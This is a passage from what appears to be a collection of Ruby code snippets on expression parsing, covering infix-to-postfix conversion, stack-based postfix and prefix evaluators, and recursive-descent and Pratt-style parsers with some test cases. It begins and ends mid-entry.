@parser)\n end", "def infix_to_postfix(expr, prec)\n output = []\n operators = []\n\n expr.each { |token|\n case token\n when Integer\n output << token\n when :+, :*\n while !operators.empty? && operators[-1] != :\"(\" && prec[operators[-1]] >= prec[token]\n output.push(operators.pop)\n end\n operators.push(token)\n when :\"(\"\n operators.push(token)\n when :\")\"\n while operators[-1] != :\"(\"\n output.push(operators.pop)\n if operators.size == 0\n raise \"No matching parenthesis found.\"\n end\n end\n operators.pop\n end\n }\n\n while !operators.empty?\n if operators[-1] == :\"(\" || operators[-1] == :\")\"\n raise \"Unmatched parenthesis found.\"\n end\n output.push(operators.pop)\n end\n output\nend", "def parse_expression(expr); end", "def parse_expression(precedence = 0)\n ret, line = nil, current_token.line_num\n @expression_parsers.each do |matcher, parser|\n next unless matcher.call(current_token) && ret.nil?\n\n left = instance_exec &parser\n while precedence < cur_token_precedence\n _, contents = @infix_parsers.select{|key, val| key.call @current_token}.first\n left = instance_exec left, &contents.last\n end\n ret = left\n end\n add_line_info(line, ret) if ret\n ret\n end", "def parse\n IL::LazyValue.new parse_infix_tokens @tokens\n end", "def to_infix\n case self\n in [:all]\n \"\"\n in [:none]\n \"none\"\n in [:wildcard, name]\n name\n in [:tag, name]\n name\n in [:metatag, name, value, quoted]\n \"#{name}:#{quoted_value}\"\n in :not, child\n child.term? ? \"-#{child.to_infix}\" : \"-(#{child.to_infix})\"\n in :opt, child\n child.term? ? \"~#{child.to_infix}\" : \"~(#{child.to_infix})\"\n in :and, *children\n children.map { _1.children.many? ? \"(#{_1.to_infix})\" : _1.to_infix }.join(\" \")\n in :or, *children\n children.map { _1.children.many? ? \"(#{_1.to_infix})\" : _1.to_infix }.join(\" or \")\n end\n end", "def evaluatePostfix(exprStr)\n \n # split the string into an array by spaces\n exprStr = exprStr.split(\" \");\n\n # stack the holds \n stack = Array.new\n\n # loop through each element in the array\n exprStr.each do |ele|\n \n # check if the current value is an integer\n if operand? ele\n\n # convert the element to an integer and push onto stack\n stack.push ele.to_i\n\n # check if current element is an operator\n elsif operator? ele\n\n # update the ^ operator\n if ele.eql? '^'\n ele = \"**\"\n end \n \n # pop the last two elements from the array\n y, x = stack.pop, stack.pop\n \n # calculate the result of the operation\n result = applyOperator(x, y, ele)\n\n # push the result onto the stack\n stack.push(result)\n end\n end\n return stack.pop\n end", "def string_concat_infix(operator, *args)\n if args.blank? || args.size < 2\n fail ArgumentError, \"string concatenation requires operator and two or more arguments, given '#{args.size}'\"\n end\n\n result = Arel::Nodes::InfixOperation.new(operator, args[0], args[1])\n\n if args.size > 2\n args.drop(2).each do |a|\n result = Arel::Nodes::InfixOperation.new(operator, result, a)\n end\n end\n\n result\n end", "def infix\n @solutions.map do |solution|\n stack = []\n\n solution.each do |s|\n if s.is_a? Fixnum\n stack.push expr: s, precedence: 3\n else\n b = stack.pop\n a = stack.pop\n p = {'-' => 1, '+' => 1, '*' => 2, '/' => 2}[s]\n\n a[:expr] = \"(#{a[:expr]})\" if a[:precedence] < p\n b[:expr] = \"(#{b[:expr]})\" if b[:precedence] <= p\n\n stack.push expr: '%s %s %s' % [a[:expr], s, b[:expr]], precedence: p\n end\n end\n\n '%s = %d' % [stack.pop[:expr], @target]\n end\n end", "def extract_expr(string)\n result = {}\n first_parenthesis = string.index('(')\n expr_str = string\n unless first_parenthesis.nil?\n expr_str = string[0...first_parenthesis]\n params_str = string[first_parenthesis+1...-1]\n params_array = []\n params_hash = {}\n params_str.split(',').each do |param|\n if param.include?('=>')\n entry = param.split('=>')\n params_hash[entry[0]] = entry[1]\n else\n params_array << param\n end\n end\n if params_hash.size > 0\n result[:params] = params_hash\n else\n result[:params] = params_array\n end\n end\n result[:expression] = Expression.find_by_key(expr_str)\n raise ArgumentError, \"'#{expr_str}' is not defined as an expression\" if result[:expression].nil?\n result\n end", "def evaluate_postfix(postfix_expression)\n stack = Stack.new\n postfix_expression.each_char do |n|\n if /\\+|-|\\*|\\//.match(n)\n stack_operation_helper(stack, stack.pop, stack.pop, n)\n else \n stack.push(n)\n end \n end \n return stack.pop\nend", "def build(operators, scope)\n to_sexp(operators, scope)\n end", "def initialize(input)\n if input.respond_to?(:expression)\n @expression = input.expression\n elsif input.respond_to?(:each)\n @terms = input\n else\n @expression = input.to_s\n end\n end", "def prefix_evaluation(expression)\n return nil if expression.class != String\n digits = [\"0\", \"1\", \"2\", \"3\", \"4\", \"5\",\"6\", \"7\", \"8\", \"9\"]\n operators = [\"+\", \"-\", \"*\", \"/\", \"**\"]\n expression_array = expression.split(\" \").reverse\n local_stack = Stack.new()\n expression_array.each do |element|\n if digits.include?(element)\n local_stack.push(element)\n elsif operators.include?(element)\n num1 = local_stack.pop()\n num2 = local_stack.pop()\n result = do_math(num1, num2, element)\n local_stack.push(result)\n else\n puts \"undefined character\"\n end\n end\n local_stack.top()\nend", "def parse_expression\n expr = []\n loop do\n raise ExpressionError, 'Expression definition incomplete.. more terms expected' unless current_token\n\n name = expect_token %i[name string]\n expr.append name\n\n debug \"Expression identifier found as #{name} - appending to expr stack\"\n\n if current_token.nil?\n raise ExpressionError, \"Expected terminator (;) or operator (+) following #{name} in expression.\"\n elsif !(current_token.type == :operator || current_token.type == :terminator)\n raise ExpressionError, \"Unexpected #{current_token} inside expression; expected terminator (;) or operator (+)\"\n elsif current_token.type == :terminator\n break\n end\n\n step_forward\n end\n\n expr\n rescue ExpressionError => e\n raise_parser_error \"Failed to parse expression: #{e.message}\" unless @state_arg\n raise_parser_error \"Expression error for #{@state_arg} command: #{e.message}\"\n end", "def parse_expr(io, stop_char = nil, stack_depth = 0, multiple_expressions = false)\n # A standard stack is an expression that does not evaluate to a string\n expressions = []\n stack = []\n buf = ''\n \n loop do\n char = io.read_one_char\n \n # Ignore carriage returns\n next if char == \"\\r\"\n \n if stop_char && char.nil?\n raise Error, \"IO ran out when parsing a subexpression (expected to end on #{stop_char.inspect})\"\n elsif char == stop_char # Bail out of a subexpr or bail out on nil\n # TODO: default stop_char is nil, and this is also what gets returned from a depleted\n # IO on IO#read(). We should do that in Bychar.\n # Handle any remaining subexpressions\n return wrap_up(expressions, stack, buf, stack_depth, multiple_expressions)\n elsif char == \" \" || char == \"\\n\" # Space\n if buf.length > 0\n stack << buf\n buf = ''\n end\n if TERMINATORS.include?(char) && stack.any? # Introduce a stack separator! This is a new line\n \n # First get rid of the remaining buffer data\n consume_remaining_buffer(stack, buf)\n \n # Since we now finished an expression and it is on the stack,\n # we can run this expression through the filter\n filtered_expr = compact_subexpr(stack, stack_depth + 1)\n \n # Only preserve the parsed expression if it's not nil\n expressions << filtered_expr unless filtered_expr.nil?\n \n # Reset the stack for the next expression\n stack = []\n \n # Note that we will return multiple expressions instead of one\n multiple_expressions = true\n end\n elsif char == '[' # Opens a new string expression\n consume_remaining_buffer(stack, buf)\n stack << [:b] + parse_expr(io, ']', stack_depth + 1)\n elsif char == '{' # Opens a new literal expression \n consume_remaining_buffer(stack, buf)\n stack << [:c] + parse_expr(io, '}', stack_depth + 1)\n elsif QUOTES.include?(char) # String\n consume_remaining_buffer(stack, buf)\n stack << parse_str(io, char)\n else\n buf << char\n end\n end\n \n raise Error, \"Should never happen\"\n end", "def initialize(equation)\n \t@left = Array.new\n \t@right = Array.new\n \n left_and_right = equation.split(/\\=/)\n process_equation_string(left_and_right)\n end", "def evaluate() \n # operand stack\n opStack = []\n \n # iterate over the tokens\n @postfix.split(\"\").each do |c|\n # check if an operator\n if %w[+ - * / ^].include? c\n # pop the stack for the two operands where\n # a [operator] b\n b, a = opStack.pop, opStack.pop\n \n # evaluate the string as an arithmetic expression\n # replace all '^' characters with '**' operator\n opStack.push(eval(\"(#{a})#{c}(#{b})\".gsub(/\\^/,'**')))\n else\n # push any operands onto stack\n opStack.push(c)\n end\n end\n \n # Last item in stack should be the final answer!\n opStack.pop\n end", "def parse_binary_expression\n left = parse_unary_expression\n return left unless match(BINARY_OPERATOR)\n\n token = lex\n right = parse_unary_expression\n\n token.precedence = binary_precedence(token)\n stack = [left, token, right]\n\n while (precedence = binary_precedence(lookahead)) > 0\n while (stack.size > 2) && (precedence <= stack[-2].precedence)\n right = stack.pop\n operator = stack.pop.value\n left = stack.pop\n stack << node(:binary_expression, operator: operator, left: left, right: right)\n end\n\n token = lex\n token.precedence = precedence\n\n stack << token\n stack << parse_unary_expression\n end\n\n i = stack.size - 1\n expr = stack[i]\n\n while i > 1\n expr = node(:binary_expression, operator: stack[i - 1].value, left: stack[i - 2], right: expr)\n i -= 2\n end\n\n expr\n end", "def test_e1310_infix_to_postfix\n verify_method :e1310_infix_to_postfix,\n :with =>\n [\n {\n param: '1+2',\n predicate: Proc.new { |expr| check_expression_result(expr, 1+2) }\n },\n {\n param: '1+2+3',\n predicate: Proc.new { |expr| check_expression_result(expr, 1+2+3) }\n },\n {\n param: '1+2+3+4',\n predicate: Proc.new { |expr| check_expression_result(expr, 1+2+3+4) }\n },\n {\n param: '3-4+5',\n predicate: Proc.new { |expr| check_expression_result(expr, 3-4+5) }\n },\n {\n param: '(3-4)*5',\n predicate: Proc.new { |expr| check_expression_result(expr, (3 - 4)*5) }\n },\n {\n param: '(1+2)*3',\n predicate: Proc.new { |expr| check_expression_result(expr, (1+2)*3) }\n },\n {\n param: '(2+((3+4)*(5*6)))',\n predicate: Proc.new { |expr| check_expression_result(expr, (2+((3+4)*(5*6)))) }\n }\n ]\n end", "def initialize(expr = nil)\n @expression = expr\n end", "def convert_to_postfix tokens\n tokens.each do |token|\n if token.is_a? Integer\n @post_fix_expression << token\n elsif token == \"(\"\n @operator_stack << token\n elsif token.match(/[\\*\\/\\+\\-]/)\n while @operator_stack.last && @operator_stack.last.match(/[\\*\\/\\+\\-]/) && (prescedence_of(token) <= prescedence_of(@operator_stack.last))\n @post_fix_expression << @operator_stack.pop\n end\n @operator_stack << token\n elsif token == \"(\"\n @operator_stack << token\n elsif token == \")\"\n until @operator_stack.last == \"(\"\n @post_fix_expression << @operator_stack.pop\n end\n @operator_stack.pop #throw away the left paren that was stored in the stack\n end\n end \n until @operator_stack.empty?\n @post_fix_expression << @operator_stack.pop\n end \n end", "def evaluate_postfix(postfix)\n postfix = postfix.gsub(\" \", \"\") # remove spaces and get a new string\n operands = Stack.new\n postfix.chars do |token|\n if not operator?(token)\n # operand, push to operand stack\n operands.push token.to_i\n else\n operand2 = operands.pop\n operand1 = operands.pop\n result = nil\n case token\n when \"+\"\n result = operand1 + operand2\n when \"-\"\n result = operand1 - operand2\n when \"*\"\n result = operand1 * operand2\n when \"/\"\n result = operand1 / operand2\n end\n operands.push result if result\n end\n end\n operands.pop # final result on the stack\n end", "def parseExpression(token)\n \n tkType = token.getType \n \n root = parseSubExp(token)\n \n # if tkType == TkType.NOT then\n # node = ICodeGen.generateNode(OpOpTr.getICType(tkType))\n # node.addBranch(root)\n # root = node\n # end\n \n token = currentTk \n tkType = token.getType\n \n while BoolOpTr.include? tkType\n \n nextTk\n skipEol\n token = currentTk\n node = ICodeGen.generateNode(BoolOpTr.getICType(tkType))\n node.addBranch(root)\n node.addBranch(parseSubExp(token))\n root = node\n token = currentTk\n tkType = token.getType\n \n end\n \n return root\n \n end", "def parse_right_infix(opsym, opcon)\n opupdate = ->(f,e1,e2) { f.call(opcon.call(e1,e2)) }\n sof = ->(x) { x }\n method(:parse_ginfix).curry.call(opsym, opupdate, sof)\n end", "def expressions_from_iseq(bytecodes, locals)\n bytecodes.reduce([]) do |stack, inst|\n puts \"INST: #{inst}\"\n # annoyingly, labels have have their own format\n # UGGGGLY, TODO: refactor\n if inst.is_a?(Symbol) && inst.to_s =~ /^label/\n if ih = self.half_pop_if(inst, stack)\n stack << ih\n elsif iff = self.pop_if(inst, stack)\n stack << iff \n else \n stack << Label.new(inst)\n end\n\n next stack\n elsif inst.is_a?(Fixnum)\n # TODO: What's with the plain numbers?\n next stack\n end\n\n case inst[0]\n # TODO\n when :throw \n # TODO?\n when :trace, :pop, :putnil, :leave\n \n when :branchunless\n test = stack.pop\n if_hole = IfHole.new(test, inst[1], nil, nil, nil)\n stack << if_hole\n when :branchif\n stack << self.pop_while(inst, stack)\n when :jump\n stack << Jump.new(inst[1])\n\n when :putobject_OP_INT2FIX_O_0_C_ \n stack << Literal.new(0)\n when :putobject_OP_INT2FIX_O_1_C_ \n stack << Literal.new(1)\n when :putobject\n stack << Literal.new(inst[1])\n when :putstring\n stack << Literal.new(inst[1])\n when :putself\n stack << Self.new\n when :newarray\n stack << self.pop_array(inst[1], stack)\n when :duparrray\n stack << ArrayLiteral.new(inst[1].map{ |v| Literal.new(v)})\n\n when :getlocal\n stack << self.get_local(inst[2], inst[1])\n when :getlocal_OP__WC__1\n stack << self.get_local(1, inst[1])\n when :getlocal_OP__WC__0\n stack << self.get_local(0, inst[1])\n\n when :setlocal\n stack << self.pop_assignment(inst[2], inst[1], stack)\n when :setlocal_OP__WC__1\n stack << self.pop_assignment(1, inst[1], stack)\n when :setlocal_OP__WC__0\n stack << self.pop_assignment(0, inst[1], stack)\n\n when :send\n stack << self.pop_expression(inst[1], stack)\n when :opt_send_simple\n stack << self.pop_expression(inst[1], stack)\n when :opt_lt\n stack << self.pop_expression(inst[1], stack)\n when :opt_le\n stack << self.pop_expression(inst[1], stack)\n when :opt_plus\n stack << self.pop_expression(inst[1], stack)\n # TODO: The other opts and sends\n else\n puts \"UNKNOWN\"\n end\n\n stack\n end\n end", "def parse_expression(precedence)\n prefix = @prefix_parse_functions[@cur_token.type]\n if prefix.nil?\n raise(\n MonkeyLanguageParseError,\n [\"unexpected token: #{@cur_token.type}\",\n \"not found prefix parse function for #{@cur_token.type}\"].join(\", \")\n )\n end\n left_exp = prefix.call\n while (not next_token_type_is(TokenType::SEMICOLON)) and\n precedence < next_token_precedence\n infix = @infix_parse_functions[@nxt_token.type]\n raise if infix.nil?\n advance_cursor\n left_exp = infix.call(left_exp)\n end\n return left_exp\n end", "def evaluate_with_two_stacks(string)\n vals = Stack.new\n ops = Stack.new\n\n string.each_char do |char|\n case char\n when \"(\"\n # do nothing\n when \"+\"\n ops.push(char)\n when \"*\"\n ops.push(char)\n when \")\"\n op = ops.pop\n case op\n when \"+\"\n vals.push(vals.pop + vals.pop)\n when \"*\"\n vals.push(vals.pop * vals.pop)\n end\n else\n vals.push(char.to_i)\n end\n end\n\n vals.pop\nend", "def infix(precedence, matcher, &block)\n @infix_parsers[matcher] = [precedence, block]\n end", "def expression(options=[])\n evaluator = Bun::Expression.new(options)\n evaluator.data = self\n evaluator\n end", "def test_infix_to_postfix_e1310\n verify_method :infix_to_postfix_e1310,\n :with =>\n [\n {\n param: '1+2',\n predicate: Proc.new { |expr| check_expression_result(expr, 1+2) }\n },\n {\n param: '1+2+3',\n predicate: Proc.new { |expr| check_expression_result(expr, 1+2+3) }\n },\n {\n param: '1+2+3+4',\n predicate: Proc.new { |expr| check_expression_result(expr, 1+2+3+4) }\n },\n {\n param: '3-4+5',\n predicate: Proc.new { |expr| check_expression_result(expr, 3-4+5) }\n },\n {\n param: '(3-4)*5',\n predicate: Proc.new { |expr| check_expression_result(expr, (3 - 4)*5) }\n },\n {\n param: '(1+2)*3',\n predicate: Proc.new { |expr| check_expression_result(expr, (1+2)*3) }\n },\n {\n param: '(2+((3+4)*(5*6)))',\n predicate: Proc.new { |expr| check_expression_result(expr, (2+((3+4)*(5*6)))) }\n }\n ]\n end", "def exp(str) # :nodoc:\n Parslet::Expression.new(str).to_parslet\n end", "def create_equation\n equation =''\n for i in 0..(@operands.size-1)\n if i==0\n equation << @operands[i].to_s\n else\n #binding.pry\n equation << @operators[@operator_value[i-1]].to_s\n equation << @operands[i].to_s\n end\n end\n equation\n end", "def build_parsing_tree\n buffer = [] #[[op, rExpr, lExpr], ...]\n @postfix_buffer.each{|s| buffer << (s.class == Array ? s : [s, buffer.pop, buffer.pop]) }\n return buffer.first\n end", "def parse_expr_tree(expr_tree, opts = {})\n instruction = {\n selects: {},\n joins: [],\n where: \"\"\n }\n\n # If expr_tree is blank\n if expr_tree.blank?\n instruction[:where] = TRUE_WHERE_QUERY\n return instruction\n end\n\n # If expr_tree is not blank\n tree_operator = nil\n where_stack = []\n\n expr_tree.each_with_index do |expr, idx|\n if (idx == 0) && (%w(AND OR).include? expr)\n tree_operator = expr\n else\n if expr.is_a? Array\n result = parse_expr_tree(expr, opts)\n instruction[:joins] |= result[:joins].flatten\n instruction[:selects].merge! result[:selects]\n where = \"(#{result[:where]})\"\n else\n\n # =====================================================================================\n # TODO: @giosakti simplify this algorithm\n # =====================================================================================\n\n expr_stack = expr.scan(/(?:\"(?:\\\\.|[^\"])*\"|[^\" ])+/)\n if (expr_stack.size != 3) && (!%w(= IN).include? expr_stack[1])\n raise \"Syntax error #{expr}\"\n else\n operator = expr_stack[1]\n\n #\n # Evaluate lhs\n #\n lhs_expr = expr_stack.first\n if lhs_expr.start_with?(\"object\")\n result = parse_lhs(lhs_expr, opts[:object], operator)\n lhs_join = result[:join]\n lhs_select = result[:select]\n lhs_where = result[:where]\n else\n raise \"Syntax error: #{lhs_expr} at left-hand side\"\n end\n\n #\n # Evaluate rhs\n #\n rhs_expr = expr_stack.last\n if rhs_expr.start_with?(\"subject\")\n rhs_where = parse_rhs(rhs_expr, opts[:subject], operator)\n else\n rhs_where = rhs_expr\n end\n\n #\n # Formulaize instructions\n #\n instruction[:joins] |= [lhs_join] if lhs_join.present?\n instruction[:selects].merge! lhs_select if lhs_select.present?\n if rhs_where.present?\n where = \"#{lhs_where} #{operator} #{rhs_where}\"\n else\n where = FALSE_WHERE_QUERY\n end\n end\n\n # =====================================================================================\n # END TODO: @giosakti simplify this algorithm\n # =====================================================================================\n\n end\n\n where_stack.push where\n end\n end\n\n if tree_operator\n instruction[:where] = where_stack.join(\" #{tree_operator} \")\n else\n instruction[:where] = where_stack.shift\n end\n\n return instruction\n end", "def parse_exp(exp)\n exp = exp.sub(/@/, '').gsub(/^\\(/, '').gsub(/\\)$/, '').tr('\"', '\\'').strip\n exp.scan(/^\\[(\\d+)\\]/) do |i|\n next if i.empty?\n\n index = Integer(i[0])\n raise ArgumentError, 'Node does not appear to be an array.' unless @_current_node.is_a?(Array)\n raise ArgumentError, \"Index out of bounds for nested array. Index: #{index}\" if @_current_node.size < index\n\n @_current_node = @_current_node[index]\n # Remove the extra '' and the index.\n exp = exp.gsub(/^\\[\\d+\\]|\\[''\\]/, '')\n end\n scanner = StringScanner.new(exp)\n elements = []\n until scanner.eos?\n if (t = scanner.scan(/\\['[a-zA-Z@&*\\/$%^?_]+'\\]|\\.[a-zA-Z0-9_]+[?]?/))\n elements << t.gsub(/[\\[\\]'.]|\\s+/, '')\n elsif (t = scanner.scan(/(\\s+)?[<>=!\\-+][=~]?(\\s+)?/))\n operator = t\n elsif (t = scanner.scan(/(\\s+)?'?.*'?(\\s+)?/))\n # If we encounter a node which does not contain `'` it means\n #  that we are dealing with a boolean type.\n operand =\n if t == 'true'\n true\n elsif t == 'false'\n false\n elsif operator.to_s.strip == '=~'\n parse_regex(t)\n else\n t.gsub(%r{^'|'$}, '').strip\n end\n elsif (t = scanner.scan(/\\/\\w+\\//))\n elsif (t = scanner.scan(/.*/))\n raise \"Could not process symbol: #{t}\"\n end\n end\n\n el = if elements.empty?\n @_current_node\n elsif @_current_node.is_a?(Hash)\n dig(@_current_node, *elements)\n else\n elements.inject(@_current_node, &:__send__)\n end\n\n return (el ? true : false) if el.nil? || operator.nil?\n\n el = Float(el) rescue el\n operand = Float(operand) rescue operand\n\n el.__send__(operator.strip, operand)\n end", "def initialize(expr)\r\n @expr = expr\r\n end", "def infix\n infixes = %w[to and or + - * / ^ mod <= >= < > is in] +\n ['not in', 'is not']\n\n infixes.include?(peek.value)\n end", "def evaluatePostfix(exprStr)\n\t\tstack = Array.new\n\n\t\tfor i in 0...exprStr.split.length\n\t\t\tcurrent = exprStr.split[i]\n\n\t\t\tif operand?(current)\n\t\t\t\tstack.push(current)\n\t\t\tend\n\n\t\t\tif operator?(current)\n\t\t\t\ty = stack.pop\n\t\t\t\tx = stack.pop\n\t\t\t\to = current\n\t\t\t\tresults = applyOperator(x, y, o.to_s)\n\t\t\t\tstack.push(results)\n\t\t\tend\n\t\tend\n\n\t\treturn stack.pop\n end", "def evaluate_postfix(postfix_expression)\n operands = Set['+', '-', '*', '/'] # assume only these four operands for now\n stack = Stack.new # track operation results\n\n postfix_expression.each_char do |c| # assume expresion is valid\n if operands.include?(c) # is operand\n b = stack.pop # get second number pushed\n a = stack.pop # pop again for first number pushed\n\n new_top = 0\n\n # calculate new number to push into stack\n new_top += case c\n when '+' \n a + b\n when '-'\n a - b\n when '/'\n a / b\n when '*'\n a * b\n end\n\n stack.push(new_top) # add back to top of stack\n\n else # is number\n stack.push(c.to_i)\n end\n end\n\n return stack.pop\nend", "def generate_tree(operands, operators, parent_node)\n return operands[0] if operands.length==1\n\n i = index_of_lowest_precedence(operators)\n operator = operators[i]\n new_operand = node_class.new(parent_node)\n new_operand.add_match generate_tree(operands[0..i], operators[0..i-1],new_operand), :left\n new_operand.add_match operators[i], :operator_node\n new_operand.add_match generate_tree(operands[i+1..-1], operators[i+1..-1],new_operand), :right\n new_operand\n end", "def initialize\n @expr = gen_expr\n @ans = eval @expr\n end", "def evaluate_postfix(postfix_expression)\n stack = Stack.new\n\n postfix_helper(postfix_expression, stack)\nend", "def initialize(expression, convert = false)\n @final_transform = nil\n @expression = expression\n @path = []\n @convert = convert\n parse(expression)\n end", "def to_ruby\n expr = to_infix_tree.to_ruby\n debug \"Ruby = #{expr}\"\n expr\n end", "def parse_infix_comparison\n lhs = parse_value\n return case peek_token\n when nil\n lhs\n when :comma\n next_token # skip comma\n lhs\n else\n if COMPARISON_OPERATORS.include?(peek_token)\n comparison_operator = next_token\n rhs = parse_value\n ScopedSearch::QueryLanguage::AST::OperatorNode.new(comparison_operator, [lhs, rhs])\n else\n lhs\n end\n end\n end", "def eval(expression, env = Environment.new)\n env = Trxl::Environment.new(env) if env.is_a?(Hash)\n ast = parse(expression)\n ast.eval(env)\n end", "def initialize(expr)\n @expr = expr\n super()\n end", "def evaluate_expression_inner(expression)\n expression_string = evaluate_expression(expression.left)\n expression_string << ' ' + expression.operator.to_s + ' '\n expression_string << evaluate_expression(expression.right)\n expression_string\n end", "def postfix_evaluator(equation)\n stack = []\n for i in equation do\n if str_to_num(i)\n stack.push(str_to_num(i))\n puts stack\n elsif (\"+-*/\").include?(i)\n second_num = stack.pop\n if stack != []\n first_num = stack.pop\n result = math(i, first_num, second_num)\n stack.push(result)\n else\n raise \"Not enough arguments\"\n end\n else\n raise \"Invalid number\"\n end\n end\n stack.pop()\nend", "def evaluate_postfix(postfix_expression)\n stack = Stack.new\n \n i = 0\n while i < postfix_expression.length\n if postfix_expression[i].match(/[0-9]/)\n stack.push(postfix_expression[i].to_i)\n else\n case postfix_expression[i]\n when \"+\"\n num_2 = stack.pop\n num_1 = stack.pop\n stack.push(num_1 + num_2)\n when \"-\"\n num_2 = stack.pop\n num_1 = stack.pop\n stack.push(num_1 - num_2)\n when \"*\"\n num_2 = stack.pop\n num_1 = stack.pop\n stack.push(num_1 * num_2)\n when \"/\"\n num_2 = stack.pop\n num_1 = stack.pop\n stack.push(num_1 / num_2)\n end\n end\n i += 1\n end\n return stack.pop\nend", "def expression\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 23 )\n __COMPARITIONOPERATORS10__ = nil\n\n begin\n # at line 705:5: exp ( COMPARITIONOPERATORS exp )?\n @state.following.push( TOKENS_FOLLOWING_exp_IN_expression_1070 )\n exp\n @state.following.pop\n # at line 705:9: ( COMPARITIONOPERATORS exp )?\n alt_26 = 2\n look_26_0 = @input.peek( 1 )\n\n if ( look_26_0 == COMPARITIONOPERATORS )\n alt_26 = 1\n end\n case alt_26\n when 1\n # at line 705:10: COMPARITIONOPERATORS exp\n __COMPARITIONOPERATORS10__ = match( COMPARITIONOPERATORS, TOKENS_FOLLOWING_COMPARITIONOPERATORS_IN_expression_1073 )\n # --> action\n #Regla 8\n \t @stack_operators.push(__COMPARITIONOPERATORS10__.text)\n \t \n # <-- action\n @state.following.push( TOKENS_FOLLOWING_exp_IN_expression_1087 )\n exp\n @state.following.pop\n # --> action\n #Regla 9\n \t\t operator = @stack_operators.pop\n \t\t operand_b = @stack_operands.pop\n \t\t operand_a = @stack_operands.pop\n \t\t result = get_avail\n \t\t generate(operator, operand_a, operand_b, result)\n \t\t free_avail(operand_a)\n \t\t free_avail(operand_b)\n \t\t free_avail_const(operand_a)\n \t\t free_avail_const(operand_b)\n \t\t @stack_operands.push(result)\n \t\t @stack_types.push(resulting_type(@stack_types.pop, @stack_types.pop, operator))\n \t \n # <-- action\n\n end\n\n rescue ANTLR3::Error::RecognitionError => re\n report_error(re)\n recover(re)\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 23 )\n\n end\n \n return \n end", "def execWithOperator(env)\n operatorToken = Ruby::Token.new(self.operator.token[/(.*)=/, 1])\n binaryExpression = Ruby::Binary.new(operatorToken, self.left, self.right)\n #return the partial evaluation result of the newly created binary expression.\n binaryExpression.pe(env)\n end", "def evaluate(expression)\n @simpleParser.parse expression\n end", "def evaluate(postfix)\n stack = Stack.new\n operators = \"+-*/^\"\n for i in 0..postfix.size-1\n if !operators.include?(postfix[i])\n stack.push(postfix[i].to_i)\n else\n case postfix[i]\n when '+'\n value = stack.pop() + stack.pop\n when '-'\n b = stack.pop()\n value = stack.pop() - b\n when '*'\n value = stack.pop() * stack.pop\n when '/'\n b = stack.pop()\n value = stack.pop() / b\n when '^'\n b = stack.pop()\n value = stack.pop ^ b\n end\n stack.push(value)\n end\n end\n stack.pop\nend", "def initialize(paren_start, element = nil, paren_end = nil)\n @options = @@parse_options\n @paren_type = paren_start[0]\n @offset = paren_start[1]\n if paren_end\n @length = (paren_end[1] - paren_start[1]) + paren_end[2]\n else\n @length = paren_start[2]\n end\n \n # delete head '(', '?', and tail \")\"\n @prefix = @paren_type.sub(/^\\(\\??/, \"\")\n if @prefix.index(\"(\") != 0\n @prefix.sub!(/\\)$/, \"\")\n end\n \n @name = get_name(@prefix)\n @condition = nil # set at generating json\n @refer_name = nil\n if element\n TstLog(\"Parenthesis: name:#{@name}, offset:#{@offset}, element:#{element}\")\n @element = element\n @type_name = \"LEX_PAREN\"\n else\n TstLog(\"Parenthesis: name:#{@name}, offset:#{@offset}, element: \\\"\\\"\")\n @element = TEmpty.new\n @type_name = \"LEX_OPTION_PAREN\" # (?x-i) etc.\n end\n @generated_string = []\n @nest = 0\n end", "def build(rule)\n Expr.build ArithmeticParser.new.parse(rule).to_sexp\n end", "def parse(expr)\n tokens = expr.chomp.strip.split('+')\n tokens.map(&:to_f).inject(:+)\n end", "def build(squeel, model_class, comparator, conditions)\n build_expression_node(squeel, model_class, comparator, conditions, true)\n end", "def expr \n\n\t$cst.add_branch(\"Expr\")\n\t\n\tcase scout_token\n\twhen \"T_DIGIT\"\n\t\tintexpr\n\twhen \"T_QUOTE\"\n\t\tstringexpr\n\twhen \"T_LPAREN\", \"T_BOOLEAN\"\n\t\tboolexpr\n\twhen \"T_ID\"\n\t\tid\n\telse\n\t\traise FaultyTokenError.new(\"T_DIGIT, T_QUOTE, T_LPAREN, or T_ID\", $tokens[$index])\n\tend\n\t\n\t$cst.ascend\n\t\nend", "def evaluate_postfix(postfix_expression)\n regex = /\\d/\n stack = Stack.new\n postfix_expression.each_char do |c|\n if c.match(regex)\n stack.push(c.to_i)\n elsif stack.empty?\n raise ArgumentError\n else\n num2 = stack.pop\n num1 = stack.pop\n new_num = num1.method(c).(num2)\n stack.push(new_num)\n end\n end\n return stack.pop\nend", "def subexpression()\n node = nil\n\n if current(:operator_less_than) || current(:operator_less_than_equal) ||\n current(:operator_greater_than) || current(:operator_greater_than_equal)\n\n node = operator()\n node.child = browser()\n elsif current(:boolean_true) || current(:boolean_false)\n node = boolean()\n else\n #No comparison operator is assuming equals\n node = Nodes::Equal.new()\n node.child = browser()\n end\n\n node\n end", "def UnaryExpr(path, parsed); end", "def evaluate_postfix(postfix_expression)\n stack = Stack.new()\n return nil if postfix_expression.empty?\n\n # This solution would not work for floats\n postfix_expression.each_char do |char|\n if char.match?(/\\d/)\n stack.push(char)\n elsif char.match?(/[*-\\/+]/)\n val_1 = stack.pop().to_i\n val_2 = stack.pop().to_i\n result = nil\n\n case char\n when '*'\n result = val_1 * val_2\n when '-'\n result = val_2 - val_1\n when '/'\n result = val_2 / val_1\n when '+'\n result = val_1 + val_2\n end\n\n stack.push(result)\n else\n raise StandardError.new \"Invalid character #{char}.\"\n end\n end\n\n return stack.pop()\nend", "def simple_eval(expression)\n parsed_expression = @engine.parse(expression, false)\n notify_expression_listeners(expression)\n @engine.eval(parsed_expression, nil, false)\n end", "def initialize(expressions)\n @expressions = expressions\n end", "def eval_expression\n eval(expression, binding)\n end", "def expression(expression_string)\n state_depth_must_be(States::ATTRIBUTE)\n raise 'expression already defined' if @current_attribute.expression\n @current_attribute.expression = expression_string\n end", "def evalRPN(exp)\n begin\n expr = parseString(exp) # Parse expression into array\n\n stack = Stack.new # stack to keep track of operands\n\n # convert string to int or float\n case expr[0]\n when /\\.{1}/\n stack.push(atof(expr[0]))\n else\n stack.push(atoi(expr[0]))\n end\n\n for i in 1..expr.length\n\n # Addition - perform addition on previous two operands\n if expr[i] == '+' \n stack.push(calc stack.pop, stack.pop, &:+)\n\n # Subtraction - perform subtraction on previous two operands\n elsif expr[i] == '-'\n stack.push(calc stack.pop, stack.pop, &:-) \n\n # Division - perform division on previous two operands\n elsif expr[i] == '/'\n stack.push(calc (stack.pop/1.0), stack.pop, &:/)\n\n # Multiplication - perform mult on previous two operands\n 